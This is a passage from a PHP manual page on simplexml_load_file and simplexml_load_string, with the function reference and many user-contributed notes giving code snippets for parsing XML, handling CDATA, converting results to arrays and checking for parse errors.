        libxml_set_streams_context($r_default_context);
      }
      $daten = simplexml_load_file($url);
      return ($daten);
    }
?>

where HTTP_PROXY is set to e.g.: tcp://proxy:8080
guego dot ol at ig dot com dot br 12-Nov-2010 03:26
Analyze fully XML.

<?php
$xml = simplexml_load_file('file.xml');

foreach($xml as $key0 => $value){
echo "..1..[$key0] => $value";
foreach($value->attributes() as $attributeskey0 => $attributesvalue1){
echo "________[$attributeskey0] = $attributesvalue1";
}
echo '<br />';
////////////////////////////////////////////////
foreach($value as $key => $value2){
echo "....2.....[$key] => $value2";
foreach($value2->attributes() as $attributeskey => $attributesvalue2){
echo "________[$attributeskey] = $attributesvalue2";
}
echo '<br />';
////////////////////////////////////////////////
foreach($value2 as $key2 => $value3){
echo ".........3..........[$key2] => $value3";
foreach($value3->attributes() as $attributeskey2 => $attributesvalue3){
echo "________[$attributeskey2] = $attributesvalue3";
}
echo '<br />';
////////////////////////////////////////////////
foreach($value3 as $key3 => $value4){
echo "...................4....................[$key3] => $value4";
foreach($value4->attributes() as $attributeskey3 => $attributesvalue4){
echo "________[$attributeskey3] = $attributesvalue4";
}
echo '<br />';
////////////////////////////////////////////////
foreach($value4 as $key4 => $value5){
echo ".....................5......................[$key4] => $value5";
foreach($value5->attributes() as $attributeskey4 => $attributesvalue5){
echo "________[$attributeskey4] = $attributesvalue5";
}
echo '<br />';
////////////////////////////////////////////////
foreach($value5 as $key5 => $value6){
echo "......................6.......................[$key5] => $value6";
foreach($value6->attributes() as $attributeskey5 => $attributesvalue6){
echo "________[$attributeskey5] = $attributesvalue6";
}
echo '<br />';
}}}}}
echo '<br />';
}
?>
raduispas at gmail dot com 21-Oct-2010 06:12
if you want to check when this function fails,make sure to compare the return value with ===  instead of == :

<?php
$url = 'http://www.example.com';
$xml = simpleXML_load_file($url,"SimpleXMLElement",LIBXML_NOCDATA);
if($xml ===  FALSE)
{
   //deal with error
}
else { //do stuff }
?>

Otherwise you may end up with FALSE all the time even if the document is ok. Hope this helps someone ;)
jamie at splooshmedia dot co dot uk 31-Mar-2010 06:17
A wrapper around simplexml_load_file to circumvent nasty error messages when the xml server times out or gives a 500 error etc.

<?php
function loadXML2($domain, $path, $timeout = 30) {

    /*
        Usage:

        $xml = loadXML2("127.0.0.1", "/path/to/xml/server.php?code=do_something");
        if($xml) {
            // xml doc loaded
        } else {
            // failed. show friendly error message.
        }
    */

    $fp = fsockopen($domain, 80, $errno, $errstr, $timeout);
    if($fp) {
        // make request
        $out = "GET $path HTTP/1.1\r\n";
        $out .= "Host: $domain\r\n";
        $out .= "Connection: Close\r\n\r\n";
        fwrite($fp, $out);

        // get response
        $resp = "";
        while (!feof($fp)) {
            $resp .= fgets($fp, 128);
        }
        fclose($fp);
        // check status is 200
        $status_regex = "/HTTP\/1\.\d\s(\d+)/";
        if(preg_match($status_regex, $resp, $matches) && $matches[1] == 200) {
            // load xml as object
            $parts = explode("\r\n\r\n", $resp);
            return simplexml_load_string($parts[1]);
        }
    }
    return false;

}
?>
Smokey 14-Mar-2010 10:16
for nested and same name values i'v made up this little bit for getting and displaying multiable values from google's geocode when a exact match is not found it returns all close matches in the following format(this is an abriged version of there output)

<Response>
  <Placemark id="1">
    <address> New York 24, NY, USA</address>
    <AddressDetails>
      ..................
    </AddressDetails>
    <Point>
      <coordinates>-73.5850086,40.7207442,0</coordinates>
    </Point>
  </Placemark>
  <Placemark id="2">
    <address>New York 27, NY, USA</address>
    <AddressDetails>
      ...................
    </AddressDetails>
    <Point>
      <coordinates>-72.8987835,40.8003588,0</coordinates>
    </Point>
  </Placemark>
  <Placemark id="3">
    <address>Cedar Place School, 20 Cedar Pl, Yonkers, NY 10705, USA</address>
    <AddressDetails>
      ..................
    </AddressDetails>
    <Point>
      <coordinates>-73.8966320,40.9256520,0</coordinates>
    </Point>
  </Placemark>
</Response>

<?php
// get and breakdown the results then store them in $var's
$Address = "99999 parkplace, new york, NY";
$urladdress = urlencode($Address);
$Base_url = "http://maps.google.com/maps/geo?q=";
$urlParts = "&output=xml";
$urlrequest = $Base_url . $urladdress . $urlParts;
$xml = simplexml_load_file($urlrequest);
$num = "0";
foreach ($xml->Response->Placemark as $value){
    $num++;
    $GeoFindAdd{$num} = $value->address;
    $GeoFindCords{$num} = $value->Point->coordinates;
}

// a simple display for the results
echo "Found ",$num," Possable Geo Data Sets <br>";
$CountNumResults = "0";
for ( ; $num > 0; $num--){
    $CountNumResults++;
    echo $countnum,"<br> Address = ",$GeoFindAdd{$num},"<br> Coordinates = ",$GeoFindCords{$num},"<br>";
}
echo "END";
?>
knl at bitflop dot com 11-Sep-2009 12:02
If you need to parse the data from SimpleXML into a session variable remember to define the data as a string first.

If you don't you will get warnings of "Node no longer exists" pointing to your session_start() function.

This will work:

<?php

    $new_version = simplexml_load_file('http://example.com/version.xml');
    $_SESSION['current_version'] = (string)$new_version->version;

?>
neil art neilanddeb dort com 17-Aug-2009 06:00
Because the encoding of my XML file is UTF-8 and the
encoding of my web page is iso-8859-1 I was getting strange characters such as a�™ instead of a right single quote.

The solution to this turned out to be hard to find, but really easy to implement.

http://uk3.php.net/manual/en/function.iconv.php

Using the iconv() function you can convert from one encodign to another, the TRANSLIT option seems to work best for what I needed.  Here's my example:

<?php
// convert string from utf-8 to iso8859-1
$horoscope = iconv( "UTF-8", "ISO-8859-1//TRANSLIT", $horoscope );
?>

I found the solution on this page...
http://tinyurl.com/lm39xc
Hope this helps
cryonyx at cerebrate dot ru 21-Oct-2008 03:34
In case you have a XML file with a series of equally named elements on one level simplexml incorrectly processes them and doesn't allow to walk through the array using foreach(). As far as I'm concerned, it is the problem caused by PHP xml_parser (see: http://ru2.php.net/manual/ru/function.xml-parser-create.php#53188).

To avoid this, just use count() and walk through the array using for().

Example:

<params>
  <param>
    <name>version.shell</name>
    <value>1.0</value>
  </param>
  <param>
      <name>version.core</name>
      <value>1.0</value>
  </param>
  <param>
      <name>file.lang</name>
      <value>vc.lang</value>
  </param>
  ...
</params>

<?php
$filename = '...';
$xml = simplexml_load_file($filename);
$p_cnt = count($xml->param);
for($i = 0; $i < $p_cnt; $i++) {
  $param = $xml->param[$i];
  ...;
}
?>
mario 02-Sep-2008 02:08
If you want CDATA in your object you should use LIBXML_NOCDATA

<?php
$xml = simplexml_load_file($file_xml, 'SimpleXMLElement',LIBXML_NOCDATA);

    print_r($xml);
?>
l [DOT] anzinger [AT] gmail [DOT] com 26-Mar-2008 09:03
If you don't want that the CDATA values get escaped, just load the XML with LIBXML_NOCDATA as an 3rd argument.

Note: A PHP version >= 5.1.0 is required for this to work.

Example:

<?php simplexml_load_file('xmldatei.xml', null, LIBXML_NOCDATA); ?>
php at werner dash ott dot de 29-Mar-2007 01:13
Making SimpleXMLElement objects session save.

Besides the effect of not surviving sessions, the SimpleXMLElement object may even crash the session_start() function when trying to re-enter the session!

To come up with a solution for this, I used a pattern as follows. The core idea is to transform the SimpleXMLElement between session calls to and from a string representation which of course is session save.

<?php
  //
  // session save handling of SimpleXMLElement objects
  // (applies to/ tested with PHP 5.1.5 and PHP 5.2.1)
  // The myClass pattern allows for conveniently accessing
  // XML structures while being session save
  //
  class myClass
  {
    private $o_XMLconfig = null;
    private $s_XMLconfig = '';

    public function __construct($args_configfile)
    {
      $this->o_XMLconfig = simplexml_load_file($args_configfile);
      $this->s_XMLconfig = $this->o_XMLconfig->asXML();
    } // __construct()

    public function __destruct()
    {
      $this->s_XMLconfig = $this->o_XMLconfig->asXML();
      unset($this->o_XMLconfig); // this object would otherwise crash
                                 // the subsequent call of
                                 // session_start()!
    } // __destruct()

    public function __wakeup()
    {
      $this->o_XMLconfig = simplexml_load_string($this->s_XMLconfig);
    } // __wakeup()

  } // class myClass
?>
wouter at code-b dot nl 20-Feb-2007 02:08
To correctly extract a value from a CDATA just make sure you cast the SimpleXML Element to a string value by using the cast operator:

<?php
$xml = '<?xml version="1.0" encoding="UTF-8" ?>
<rss>
    <channel>
        <item>
            <title><![CDATA[Tom & Jerry]]></title>
        </item>
    </channel>
</rss>';

$xml = simplexml_load_string($xml);

// echo does the casting for you
echo $xml->channel->item->title;

// but vardump (or print_r) not!
var_dump($xml->channel->item->title);

// so cast the SimpleXML Element to 'string' solve this issue
var_dump((string) $xml->channel->item->title);
?>

Above will output:

Tom & Jerry

object(SimpleXMLElement)#4 (0) {}

string(11) "Tom & Jerry"
Kyle 10-Dec-2006 02:35
In regards to Anonymous on 7th April 2006

There is a way to get back HTML tags. For example:

<?xml version="1.0"?>
<intro>
    Welcome to <b>Example.com</b>!
</intro>

<?php
// I use @ so that it doesn't spit out content of my XML in an error message if the load fails. The content could be passwords so this is just to be safe.
$xml = @simplexml_load_file('content_intro.xml');
if ($xml) {
    // asXML() will keep the HTML tags but it will also keep the parent tag <intro> so I strip them out with a str_replace. You could obviously also use a preg_replace if you have lots of tags.
    $intro = str_replace(array('<intro>', '</intro>'), '', $xml->asXML());
} else {
    $error = "Could not load intro XML file.";
}
?>

With this method someone can change the intro in content_intro.xml and ensure that the HTML is well formed and not ruin the whole site design.
Anonymous 06-Apr-2006 09:21
What has been found when using the script is that simplexml_load_file() will remove any HTML formating inside the XML file, and will also only load so many layers deep. If your XML file is to deap, it will return a boolean false.
fdouteaud at gmail dot com 09-Mar-2006 05:21
Be careful if you are using simplexml data directly to feed your MySQL database using MYSQLi and bind parameters.

The data coming from simplexml are Objects and the bind parameters functions of MySQLi do NOT like that! (it causes some memory leak and can crash Apache/PHP)

In order to do this properly you MUST cast your values to the right type (string, integer...) before passing them to the binding methods of MySQLi.
I did not find that in the documentation and it caused me a lot of headache.
info at evasion dot cc 06-Feb-2006 08:26
Sorry there's a mistake in the previous function :
<?php
   function &getXMLnode($object, $param) {
       foreach($object as $key => $value) {
           if(isset($object->$key->$param)) {
               return $object->$key->$param;
           }
           if(is_object($object->$key)&&!empty($object->$key)) {
               $new_obj = $object->$key;
               // Must use getXMLnode function there (recursive)
               $ret = getXMLnode($new_obj, $param);

           }
       }
       if($ret) return (string) $ret;
       return false;
   }
?>
skutter at imprecision dot net 03-Feb-2006 09:11
So it seems SimpleXML doesn't support CDATA... I bashed together this little regex function to sort out the CDATA before trying to parse XML with the likes of simplexml_load_file / simplexml_load_string. Hope it might help somebody and would be very interested to hear of better solutions. (Other than *not* using SimpleXML of course! ;)

It looks for any <![CDATA [Text and HTML etc in here]]> elements, htmlspecialchar()'s the encapsulated data and then strips the "<![CDATA [" and "]]>" tags out.

<?php
function simplexml_unCDATAise($xml) {
    $new_xml = NULL;
    preg_match_all("/\<\!\[CDATA \[(.*)\]\]\>/U", $xml, $args);

    if (is_array($args)) {
        if (isset($args[0]) && isset($args[1])) {
            $new_xml = $xml;
            for ($i=0; $i<count($args[0]); $i++) {
                $old_text = $args[0][$i];
                $new_text = htmlspecialchars($args[1][$i]);
                $new_xml = str_replace($old_text, $new_text, $new_xml);
            }
        }
    }

    return $new_xml;
}

//Usage:
$xml = 'Your XML with CDATA...';
$xml = simplexml_unCDATAise($xml);
$xml_object = simplexml_load_string($xml);
?>
info at evasion dot cc 03-Feb-2006 03:37
Suppose you have loaded a XML file into $simpleXML_obj.
The structure is like below :

SimpleXMLElement Object
(

    [node1] => SimpleXMLElement Object
        (
            [subnode1] => value1
            [subnode2] => value2
            [subnode3] => value3
        )

    [node2] => SimpleXMLElement Object
        (
            [subnode4] => value4
            [subnode5] => value5
            [subnode6] => value6
        )

)

When searching a specific node in the object, you may use this function :

<?php

    function &getXMLnode($object, $param) {
        foreach($object as $key => $value) {
            if(isset($object->$key->$param)) {
                return $object->$key->$param;
            }
            if(is_object($object->$key)&&!empty($object->$key)) {
                $new_obj = $object->$key;
                $ret = getCfgParam($new_obj, $param);
            }
        }
        if($ret) return (string) $ret;
        return false;
    }
?>

So if you want to get subnode4 value you may use this function like this :

<?php
$result = getXMLnode($simpleXML_obj, 'subnode4');
echo $result;
?>

It display "value4"
genialbrainmachine at NOSPAM dot tiscali dot it 30-Sep-2005 08:52
Micro$oft Word uses non-standard characters and they create problems in using simplexml_load_file.
Many systems include non-standard Word character in their implementation of ISO-8859-1. So an XML document containing that characters can appear well-formed (i.e.) to many browsers. But if you try to load this kind of documents with simplexml_load_file you'll have a little bunch of troubles..
I believe that this is exactly the same question discussed in htmlentites. Following notes to htmlentitles are interesting here too (given in the reverse order, to grant the history):
http://it.php.net/manual/en/function.htmlentities.php#26379
http://it.php.net/manual/en/function.htmlentities.php#41152
http://it.php.net/manual/en/function.htmlentities.php#42126
http://it.php.net/manual/en/function.htmlentities.php#42511
mark 12-Sep-2005 11:06
If the property of an object is empty the array is not created. Here is a version object2array that transfers properly.

<?php
function object2array($object)
{
    $return = NULL;

    if(is_array($object))
    {
        foreach($object as $key => $value)
            $return[$key] = object2array($value);
    }
    else
    {
        $var = get_object_vars($object);

        if($var)
        {
            foreach($var as $key => $value)
                $return[$key] = ($key && !$value) ? NULL : object2array($value);
        }
        else return $object;
    }

    return $return;
}
?>


Interprets a string of XML into an object

  • ? simplexml_load_file
  • WDDX ?
  • PHP Manual
  • SimpleXML 函数
  • Interprets a string of XML into an object

simplexml_load_string

(PHP 5, PHP 7)

simplexml_load_string — Interprets a string of XML into an object

说明

simplexml_load_string ( string $data [, string $class_name = "SimpleXMLElement" [, int $options = 0 [, string $ns = "" [, bool $is_prefix = FALSE ]]]] ) : SimpleXMLElement

Takes a well-formed XML string and returns it as an object.

参数

data

A well-formed XML string

class_name

You may use this optional parameter so that simplexml_load_string() will return an object of the specified class. That class should extend the SimpleXMLElement class.

options

Since PHP 5.1.0 and Libxml 2.6.0, you may also use the options parameter to specify additional Libxml parameters.

ns

Namespace prefix or URI.

is_prefix

TRUE if ns is a prefix, FALSE if it's a URI; defaults to FALSE.

返回值

Returns an object of class SimpleXMLElement with properties containing the data held within the xml document, 或者在失败时返回 FALSE.

Warning

此函数可能返回布尔值 FALSE，但也可能返回等同于 FALSE 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

错误／异常

Produces an E_WARNING error message for each error found in the XML data.

Tip

Use libxml_use_internal_errors() to suppress all XML errors, and libxml_get_errors() to iterate over them afterwards.

范例

Example #1 Interpret an XML string

<?php
$string = <<<XML
<?xml version='1.0'?>
<document>
 <title>Forty What?</title>
 <from>Joe</from>
 <to>Jane</to>
 <body>
  I know that's the answer -- but what's the question?
 </body>
</document>
XML;

$xml = simplexml_load_string($string);

print_r($xml);
?>

以上例程会输出：

SimpleXMLElement Object
(
  [title] => Forty What?
  [from] => Joe
  [to] => Jane
  [body] =>
   I know that's the answer -- but what's the question?
)

At this point, you can go about using $xml->body and such.

参见

  • simplexml_load_file() - Interprets an XML file into an object
  • SimpleXMLElement::__construct() - Creates a new SimpleXMLElement object
  • Dealing with XML errors
  • libxml_use_internal_errors() - Disable libxml errors and allow user to fetch error information as needed
  • Basic SimpleXML usage

User Contributed Notes

oirinth 04-Jul-2017 02:21
A simple way of checking if the XML string is valid is to suppress the warnings on the simplexml_load_string() and then check the boolean return for an error.

$sxml = @simplexml_load_string($xml_str_to_test);
if ($sxml !== false )
{
     // string is valid XML

     // to confirm this by eye, write the xml to the php error log as a string
     error_log( print_r($sxml->asXML(),true));

} else
{
     // invalid XML, throw an error or something
}
erguven dot m at gmail dot com 11-May-2017 03:14
if you want to use a class which exists in a name space, use it full name. simple_load_string did not recognize short one.

class.new.php
<?php
namespace foo\bar;

class new extends SimpleXMLElement
{
    public function do()
    {
        echo "done";
    }
}
?>

false.php
<?php
use \foo\bar\new;

$result = simplexml_load_string($xml, 'new'); // it gives warning
$result->do(); // fatal error
?>

true.php
<?php
use \foo\bar\new;
$result = simplexml_load_string($xml, '\foo\bar\new');

$result->do(); // prints done
?>
orrd 15-Nov-2016 07:29
There is an old comment from many years ago that suggests adding a method for retrieving a specific attribute, but there is already a simpler way to do it.

This is an example of how you get the value of a specific attribute:

<?php

$xml = simplexml_load_string('<xml>
  <dog type="poodle" owner="Mrs Smith">Rover</dog>
</xml>');

echo $xml->dog->attributes()->type;

?>
artistan at gmail dot com 11-Jun-2015 12:32
Here is my update to Bob's simple SimpleXML wrapper function.
I noticed his version would turn an empty SimpleXMLElement into an empty array.

<?php
    /**
     * http://php.net/manual/en/function.simplexml-load-string.php#91564
     *
     * bool/array unserialize_xml ( string $input [ , callback $callback ] )
     * Unserializes an XML string, returning a multi-dimensional associative array, optionally runs a callback on all non-array data
     * Returns false on all failure
     * Notes:
     * Root XML tags are stripped
     * Due to its recursive nature, unserialize_xml() will also support SimpleXMLElement objects and arrays as input
     * Uses simplexml_load_string() for XML parsing, see SimpleXML documentation for more info
     *
     * @param $input
     * @param null $callback
     * @param bool $recurse
     * @return array|mixed
     *
     */
    function unserialize_xml($input, $callback = null, $recurse = false)
    {
        // Get input, loading an xml string with simplexml if its the top level of recursion
        $data = ((!$recurse) && is_string($input))? simplexml_load_string($input): $input;
        // Convert SimpleXMLElements to array
        if ($data instanceof SimpleXMLElement){
            if(!empty($data)){
                $data = (array) $data;
            } else {
                $data = '';
            }
        }
        // Recurse into arrays
        if (is_array($data)) foreach ($data as &$item) $item = unserialize_xml($item, $callback, true);
        // Run callback and return
        return (!is_array($data) && is_callable($callback))? call_user_func($callback, $data): $data;
    }
?>
meustrus 07-May-2015 03:38
Be careful checking for parse errors. An empty SimpleXMLElement may resolve to FALSE, and if your XML contains no text or only contains namespaced elements your error check may be wrong. Always use `=== FALSE` when checking for parse errors.

<?php

$xml = <<<XML
<?xml version="1.0" encoding="UTF-8"?>
<ns1:Root xmlns:ns1="http://example.com/custom">
<ns1:Node>There's stuff here</ns1:Node>
</ns1:Root>
XML;

$simplexml = simplexml_load_string($xml);

// This prints "Parse Error".
echo ($simplexml ? 'Valid XML' : 'Parse Error'), PHP_EOL;

// But this prints "There's stuff here", proving that
// the SimpleXML object was created successfully.
echo $simplexml->children('http://example.com/custom')->Node, PHP_EOL;

// Use this instead:
echo ($simplexml !== FALSE ? 'Valid XML' : 'Parse Error'), PHP_EOL;

?>

See:

https://bugs.php.net/bug.php?id=31045
https://bugs.php.net/bug.php?id=30972
https://bugs.php.net/bug.php?id=69596
dkrnl at yandex dot ru 30-Sep-2013 02:58
Wrapper XMLReader class, for simple SAX-reading huge xml:
https://github.com/dkrnl/SimpleXMLReader

Usage example: http://github.com/dkrnl/SimpleXMLReader/blob/master/examples/example1.php
AllenJB 12-Oct-2012 08:09
<?php
$xml = json_decode(json_encode((array) simplexml_load_string($string)), 1);
?>

A reminder that json_encode attempts to convert data to UTF-8 without specific knowledge of the source encoding. This method can cause encoding issues if you're not working in UTF-8.
Anonymous 29-Feb-2012 08:54
Use libxml_disable_entity_loader() to restrict loading of external files.  See http://www.idontplaydarts.com/2011/02/scanning-the-internal-network-using-simplexml/
lb at bostontech dot net 07-Nov-2011 10:40
please note that:

<?
$data_array = (array) simplexml_load_string($xml_string);
?>

will only convert the root element to an array, where as the child elements remain XML objects.

To prove this, try returning a value N objects deep by association.  Then try the same exercise using something like the object2array example below. (Which works great).
Diego Araos, diego at klapmedia dot com 05-Feb-2011 12:57
A simpler way to transform the result into an array (requires json module).

<?php
function object2array($object) { return @json_decode(@json_encode($object),1); }
?>

Example:
<?php
$xml_object=simplexml_load_string('<SOME XML DATA');
$xml_array=object2array($xml_object);
?>
ascammon at hotmail dot com 28-Dec-2010 01:04
I had a hard time finding this documented, so posting it here in case it helps someone:

If you want to use multiple libxml options, separate them with a pipe, like so:

<?php
$xml = simplexml_load_string($string, 'SimpleXMLElement', LIBXML_NOCDATA | LIBXML_NOBLANKS);
?>
thejhereg at gmail dot com 30-Aug-2010 11:24
"simplexml_load_string() : Entity: line #: parser error : Comment not terminated"

On the off chance you see this error and you're pulling your hair out over it, simplexml can't seem to correctly parse XML comment tags if the comment contains "--".

Is silly and likely won't happen very often -- but sometimes it does. ;-)
jeff at creabilis dot com 17-Nov-2009 02:28
If you want to set the charset of the outputed xml, simply set the encoding attribute like this :

<?php simplexml_load_string('<?xml version="1.0" encoding="utf-8"?><xml/>'); ?>

The generated xml outputed by $xml->asXML will containt accentuated characters like 'é' instead of &#xE9;.

Hope this help
Bob 17-Jun-2009 02:16
Here is my simple SimpleXML wrapper function.
As far as I can tell, it does the same as Julio Cesar Oliveira's (above).
It parses an XML string into a multi-dimensional associative array.
The second argument is a callback that is run on all data (so for example, if you want all data trimmed, like Julio does in his function, just pass 'trim' as the second arg).
<?php
function unserialize_xml($input, $callback = null, $recurse = false)
/* bool/array unserialize_xml ( string $input [ , callback $callback ] )
 * Unserializes an XML string, returning a multi-dimensional associative array, optionally runs a callback on all non-array data
 * Returns false on all failure
 * Notes:
    * Root XML tags are stripped
    * Due to its recursive nature, unserialize_xml() will also support SimpleXMLElement objects and arrays as input
    * Uses simplexml_load_string() for XML parsing, see SimpleXML documentation for more info
 */
{
    // Get input, loading an xml string with simplexml if its the top level of recursion
    $data = ((!$recurse) && is_string($input))? simplexml_load_string($input): $input;
    // Convert SimpleXMLElements to array
    if ($data instanceof SimpleXMLElement) $data = (array) $data;
    // Recurse into arrays
    if (is_array($data)) foreach ($data as &$item) $item = unserialize_xml($item, $callback, true);
    // Run callback and return
    return (!is_array($data) && is_callable($callback))? call_user_func($callback, $data): $data;
}
?>
tiznull 06-Apr-2009 10:16
SimpleXMLElement - Warning: unserialize() [function.unserialize]: Node no longer exists in ... .php

If you get this error from storing serialized SimpleXMLElement data then this is your fix...

<?php

function sxml_unserialze($str) {
return unserialize(str_replace(array('O:16:"SimpleXMLElement":0:{}', 'O:16:"SimpleXMLElement":'), array('s:0:"";', 'O:8:"stdClass":'), $str));
}

?>
Julio Cesar Oliveira 30-Mar-2009 07:14
The XML2Array func now Recursive!

<?php
function XML2Array ( $xml , $recursive = false )
{
    if ( ! $recursive )
    {
        $array = simplexml_load_string ( $xml ) ;
    }
    else
    {
        $array = $xml ;
    }

    $newArray = array () ;
    $array = ( array ) $array ;
    foreach ( $array as $key => $value )
    {
        $value = ( array ) $value ;
        if ( isset ( $value [ 0 ] ) )
        {
            $newArray [ $key ] = trim ( $value [ 0 ] ) ;
        }
        else
        {
            $newArray [ $key ] = XML2Array ( $value , true ) ;
        }
    }
    return $newArray ;
}
?>
Julio Cesar Oliveira 26-Mar-2009 08:57
<?php
function XML2Array ( $xml )
{
    $array = simplexml_load_string ( $xml );
    $newArray = array ( ) ;
    $array = ( array ) $array ;
    foreach ( $array as $key => $value )
    {
        $value = ( array ) $value ;
        $newArray [ $key] = $value [ 0 ] ;
    }
    $newArray = array_map("trim", $newArray);
  return $newArray ;
}
?>
supzero at phparts dot net 07-Mar-2009 10:04
if we don't know children number. How many loop. How many key.

<?php
class XML {
    protected $pointer;
    public    $degerler=array();

    function loadString($string){
        $this->pointer = simplexml_load_string($string);
                return $this->pointer;
    }

    function loadFile($file){
        $this->pointer = simplexml_load_file($file);
        return $this->pointer;
    }

    function getname(){
        return $this->pointer->getName();
    }
    function child(){
        return $this->pointer->children();
    }
    function att(){
        return $this->pointer->attributes();
    }
    function toArray(){
        foreach ($this->child() as $sq){
            $this->degerler[$this->getname()][$sq->getname()][][] = $sq; // How many key
        }
        return;
    }

}
?>
Mark Omohundro, ajamyajax.com 04-Nov-2008 10:33
How about a recursive function to reduce the xml hard-coding in your apps?  Here is my simple listing routine as an example:

<?php
function list_xml($str) {
  $root = simplexml_load_string($str);
  list_node($root);
}

function list_node($node) {
  foreach ($node as $element) {
    echo $element. "\n";
    if ($element->children()) {
      echo "<br/>";
      list_node($element);
    }
  }
}
?>
javalc6 at gmail dot com 18-Oct-2008 06:25
I wanted to convert an array containing strings and other arrays of the same type into a simplexml object.

Here is the code of the function array2xml that I've developed to perform this conversion. Please note that this code is simple without any checks.

<?php
function array2xml($array, $tag) {

    function ia2xml($array) {
        $xml="";
        foreach ($array as $key=>$value) {
            if (is_array($value)) {
                $xml.="<$key>".ia2xml($value)."</$key>";
            } else {
                $xml.="<$key>".$value."</$key>";
            }
        }
        return $xml;
    }

    return simplexml_load_string("<$tag>".ia2xml($array)."</$tag>");
}

$test['type']='lunch';
$test['time']='12:30';
$test['menu']=array('entree'=>'salad', 'maincourse'=>'steak');

echo array2xml($test,"meal")->asXML();
?>
rowan dot collins at gmail dot com 10-Jul-2008 07:07
There seems to be a lot of talk about SimpleXML having a "problem" with CDATA, and writing functions to rip it out, etc. I thought so too, at first, but it's actually behaving just fine under PHP 5.2.6

The key is noted above example #6 here:
http://uk2.php.net/manual/en/simplexml.examples.php

"To compare an element or attribute with a string or pass it into a function that requires a string, you must cast it to a string using (string). Otherwise, PHP treats the element as an object."

If a tag contains CDATA, SimpleXML remembers that fact, by representing it separately from the string content of the element. So some functions, including print_r(), might not show what you expect. But if you explicitly cast to a string, you get the whole content.

<?php
$xml = simplexml_load_string('<foo>Text1 &amp; XML entities</foo>');
print_r($xml);
/*
SimpleXMLElement Object
(
    [0] => Text1 & XML entities
)
*/

$xml2 = simplexml_load_string('<foo><![CDATA[Text2 & raw data]]></foo>');
print_r($xml2);
/*
SimpleXMLElement Object
(
)
*/
// Where's my CDATA?

// Let's try explicit casts
print_r( (string)$xml );
print_r( (string)$xml2 );
/*
Text1 & XML entities
Text2 & raw data
*/
// Much better
?>
SmartD 11-Jun-2008 08:40
A small 'n nice function to extract an XML and return it as an array. If there is a bug, please let me know here. I testet it for my purposes and it works.

<?php

public function extractXML($xml) {

if (!($xml->children())) {
    return (string) $xml;
}

foreach ($xml->children() as $child) {
    $name=$child->getName();
    if (count($xml->$name)==1) {
        $element[$name] = $this->extractXML($child);
    } else {
        $element[][$name] = $this->extractXML($child);
    }
}

return $element;
}

// you can call it this way

$xml = false;

$xml = @simplexml_load_string($xmlstring);

// 1)

if ($xml) {
  $array = extractXML($xml);
}  else {
  $array = false;
}

// 2)

if ($xml) {
  $array[$xml->getName()] = extractXML($xml);
}  else {
  $array = false;
}

?>
nospam at qool dot com 05-Jun-2008 11:45
simplexml doesn't appear to like long attributes. I have tried passing it a valid xhtml document but the url in the anchor tag was causing simplexml to generate an error.
kyle at codeincarnate dot com 21-Apr-2008 05:28
A looked through a lot of the sample code for reading XML files with CDATA, but they didn't work out that well for me.  However, I found that the following piece of code worked perfectly for reading through a file using lots of CDATA.

<?php
$article_string = file_get_contents($path);
$article_string = preg_replace_callback('/<!\[CDATA\[(.*)\]\]>/', 'filter_xml', $article_string);
$article_xml = simplexml_load_string($article_string);

function filter_xml($matches) {
    return trim(htmlspecialchars($matches[1]));
}

?>
paulyg76 at NOSPAM dot gmail dot com 18-Feb-2008 06:39
Be careful using nested SimpleXML objects in double quoted strings.

<?php
$xmlstring = '<root><node>123</node><foo><bar>456</bar></foo></root>';

$root = simplexml_load_string($xmlstring);

echo "Node is: $root->node"; // Works: Node is 123
echo "Bar is: $root->foo->bar"; // Doesn't work, outputs: Bar is: ->bar
// use curly brackets to fix
echo "Bar is: {$root->foo->bar}"; // Works: Bar is 456

?>
amir_abiri at ipcmedia dot com 08-Feb-2008 08:47
It doesn't seem to be documented anywhere, but you can refer to an element "value" for the purpose of changing it like so:

<?php
$xml = simplexml_load_string('<root><number>1</number></root>');
echo $xml->asXml(). "\n\n";

$xml->number->{0} = $xml->number->{0} + 1;

echo $xml->asXml();
?>

echos:
<?xml version="1.0"?>
<root><number>1</number></root>

<?xml version="1.0"?>
<root><number>2</number></root>

However, this only works with a direct assignment, not with any of the other operators:

<?php
$xml = simplexml_load_string('<root><number>1</number></root>');
echo $xml->asXml(). "\n\n";

$xml->number->{0} += 1;
// Or:
$xml->number->{0}++;

echo $xml->asXml();
?>

Both of the above cases would result in:

<?xml version="1.0"?>
<root><number>1</number></root>

<?xml version="1.0"?>
<root><number>1<0/></number></root>
bojan 04-Feb-2008 04:38
As was said before don't use var_dump() or print_r() to see SimpleXML object structure as they do not returns always what you expect.
Consider the following:

<?php

// data in xml
$xml_txt = '
<root>
  <folder ID="65" active="1" permission="1"><![CDATA[aaaa]]></folder>
  <folder ID="65" active="1" permission="1"><![CDATA[bbbb]]></folder>
</root>';

// load xml into SimpleXML object
$xml = simplexml_load_string($xml_txt, 'SimpleXMLElement', LIBXML_NOCDATA);//LIBXML_NOCDATA LIBXML_NOWARNING

// see object structure
print_r($xml);

/* this prints
SimpleXMLElement Object
(
    [folder] => Array
        (
            [0] => aaaa
            [1] => bbbb
        )

)
*/

// but...
foreach ($xml->folder as $value){
    print_r($value);
}
/* prints complete structure of each folder element:
SimpleXMLElement Object
(
    [@attributes] => Array
        (
            [ID] => 65
            [active] => 1
            [permission] => 1
        )

    [0] => aaaa
)

SimpleXMLElement Object
(
    [@attributes] => Array
        (
            [ID] => 65
            [active] => 1
            [permission] => 1
        )

    [0] => bbbb
)

*/
?>
hattori at hanso dot com 15-Oct-2007 03:19
Theres a problem with the below workaround when serializing fields containing html CDATA. For any other content type then HTML try to modfiy function parseCDATA.
Just add these lines before serializing.
This is also a workaround for this bug http://bugs.php.net/bug.php?id=42001

<?PHP
if(strpos($content, '<![CDATA[')) {
   function parseCDATA($data) {
      return htmlentities($data[1]);
   }
   $content = preg_replace_callback(
      '#<!\[CDATA\[(.*)\]\]>#',
      'parseCDATA',
      str_replace("\n", " ", $content)
   );
}
?>
hattori at hanso dot com 17-Sep-2007 02:15
If you want to serialize and unserialize SimpleXMLElement objects for caching, you need to transform the SimpleXMLElement object into a standard class object before unserializing.
This is only if you want to cache converted data, the functionallity of the SimpleXMLElement will not be held.

$content = '<SomeXML....'

$serialized = str_replace(
  array('O:16:"SimpleXMLElement":0:{}', 'O:16:"SimpleXMLElement":'),
  array('s:0:"";', 'O:8:"stdClass":'),
  serialize(simplexml_load_string($content))
);

$unserialized = unserialize($serialized);
nbijnens at servs dot eu 10-Sep-2007 05:17
